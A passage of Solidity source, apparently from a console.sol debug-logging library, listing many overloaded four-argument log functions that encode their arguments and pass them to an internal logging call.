} | |
function log(string memory p0, uint256 p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,uint256,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, uint256 p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,uint256,address,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, uint256 p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,uint256,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, uint256 p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,uint256,address,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, string memory p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, bool p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(string memory p0, address p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,string,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,string,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,address,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, uint256 p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,uint256,address,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, string memory p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, bool p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(bool p0, address p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,string,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,string,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,address,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, uint256 p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,uint256,address,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, string memory p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, bool p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, bool p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, uint256 p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint256,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, uint256 p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint256,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, uint256 p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint256,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, uint256 p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint256,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, string memory p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, string memory p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, string memory p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, string memory p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, bool p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, bool p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, bool p2, bool p3) internal view { | |
